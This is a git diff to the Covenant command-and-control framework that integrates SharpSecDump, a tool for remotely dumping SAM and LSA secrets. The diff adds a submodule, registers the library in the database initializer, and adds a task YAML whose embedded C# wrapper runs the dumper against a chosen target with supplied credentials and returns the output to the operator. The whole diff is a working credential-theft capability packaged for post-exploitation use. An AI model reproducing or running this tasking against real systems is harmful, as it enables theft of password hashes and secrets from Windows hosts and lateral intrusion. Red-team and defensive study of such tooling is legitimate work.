diff --git a/.gitmodules b/.gitmodules index 6debcc64..6d29f8a3 100644 --- a/.gitmodules +++ b/.gitmodules @@ -30,3 +30,6 @@ path = Covenant/Data/ReferenceSourceLibraries/SharpSC url = https://github.com/djhohnstein/SharpSC ignore = dirty +[submodule "Covenant/Data/ReferenceSourceLibraries/SharpSecDump"] + path = Covenant/Data/ReferenceSourceLibraries/SharpSecDump + url = https://github.com/G0ldenGunSec/SharpSecDump.git diff --git a/Covenant/Core/DbInitializer.cs b/Covenant/Core/DbInitializer.cs index 95cccf18..b54ff9a5 100644 --- a/Covenant/Core/DbInitializer.cs +++ b/Covenant/Core/DbInitializer.cs @@ -259,6 +259,12 @@ public async static Task InitializeTasks(ICovenantService service, CovenantConte Name = "SharpSC", Description = "SharpSC is a .NET assembly to perform basic operations with services.", Location= "SharpSC" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List { Common.DotNetVersion.Net35, Common.DotNetVersion.Net40 } + }, + new ReferenceSourceLibrary + { + Name = "SharpSecDump", Description = "SharpSecDump is a .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py.", + Location= "SharpSecDump" + Path.DirectorySeparatorChar, + CompatibleDotNetVersions = new List { Common.DotNetVersion.Net40 } } }; await service.CreateReferenceSourceLibraries(ReferenceSourceLibraries); @@ -272,6 +278,7 @@ public async static Task InitializeTasks(ICovenantService service, CovenantConte var su = await service.GetReferenceSourceLibraryByName("SharpUp"); var sw = await service.GetReferenceSourceLibraryByName("SharpWMI"); var sc = await service.GetReferenceSourceLibraryByName("SharpSC"); + var ssd = await service.GetReferenceSourceLibraryByName("SharpSecDump"); await service.CreateEntities( new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, @@ -391,7 +398,11 @@ await service.CreateEntities( new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35) }, - new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) } + new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) }, + + new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ssd, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, + new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ssd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) }, + new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ssd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) } ); } #endregion diff --git a/Covenant/Data/ReferenceSourceLibraries/SharpSecDump b/Covenant/Data/ReferenceSourceLibraries/SharpSecDump new file mode 160000 index 00000000..ef246368 --- /dev/null +++ b/Covenant/Data/ReferenceSourceLibraries/SharpSecDump @@ -0,0 +1 @@ +Subproject commit ef2463688e405fad0fabb001b3d8869db51da0e0 diff --git a/Covenant/Data/Tasks/SharpSecDump.yaml b/Covenant/Data/Tasks/SharpSecDump.yaml new file mode 100644 index 00000000..73e742ae --- /dev/null +++ b/Covenant/Data/Tasks/SharpSecDump.yaml @@ -0,0 +1,68 @@ +- Name: SharpSecDump + Aliases: [] + Author: + Name: Sergio Lázaro, Daniel López & Simone Salucci + Handle: '@Slazar0, @attl4s, @saim1z' + Link: '' + Description: .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net40 + Code: "using System;\nusing System.IO;\n\nusing SharpSecDump;\n\npublic static class Task\n{\n public static Stream OutputStream { get; set; }\n public static string Execute(string Target, string Username, string Password, string Domain)\n {\n string output = \"\";\n try\n {\n TextWriter realStdOut = Console.Out;\n TextWriter realStdErr = Console.Error;\n TextWriter stdOutWriter = new StreamWriter(OutputStream);\n TextWriter stdErrWriter = new StreamWriter(OutputStream);\n Console.SetOut(stdOutWriter);\n Console.SetError(stdErrWriter);\n \n try\n { \n if (Target != \"\")\n {\n String[] args = new string[0];\n if (Username != \"\" && Password != \"\" && Domain != \"\")\n {\n args = new string[4];\n args[0] = \"-target=\" + Target;\n args[1] = \"-u=\" + Username;\n args[2] = \"-p=\" + Password;\n args[3] = \"-d=\" + Domain;\n }\n else\n {\n args = new string[1];\n args[0] = \"-target=\" + Target;\n }\n RegQueryValueDemo.Main(args);\n }\n else{\n Console.WriteLine(\"\\r\\n[!] SharpSecDump [username] [password] [domain]\\r\\n\");\n }\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\n[!] Unhandled SharpSecDump exception:\\r\\n\");\n Console.WriteLine(e);\n }\n \n Console.Out.Flush();\n Console.Error.Flush();\n Console.SetOut(realStdOut);\n Console.SetError(realStdErr);\n OutputStream.Close();\n }\n catch (Exception e) { output += e.GetType().FullName + \": \" + e.Message + Environment.NewLine + e.StackTrace; }\n return output;\n }\n}" + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: + - Name: Target + Value: '' + DefaultValue: '' + Description: Target of SharpSecDump + SuggestedValues: [] + Optional: false + DisplayInCommand: true + FileOption: false + - Name: Username + Value: '' + DefaultValue: '' + Description: Username + SuggestedValues: [] + Optional: true + DisplayInCommand: true + FileOption: false + - Name: Password + Value: '' + DefaultValue: '' + Description: Password + SuggestedValues: [] + Optional: true + DisplayInCommand: true + FileOption: false + - Name: Domain + Value: '' + DefaultValue: '' + Description: Domain + SuggestedValues: [] + Optional: true + DisplayInCommand: true + FileOption: false + ReferenceSourceLibraries: + - Name: SharpSecDump + Description: SharpSecDump is a .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py. + Location: SharpSecDump/ + Language: CSharp + CompatibleDotNetVersions: + - Net40 + ReferenceAssemblies: + - Name: mscorlib.dll + Location: net40/mscorlib.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40/System.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40/System.Core.dll + DotNetVersion: Net40 + EmbeddedResources: [] + ReferenceAssemblies: [] + EmbeddedResources: []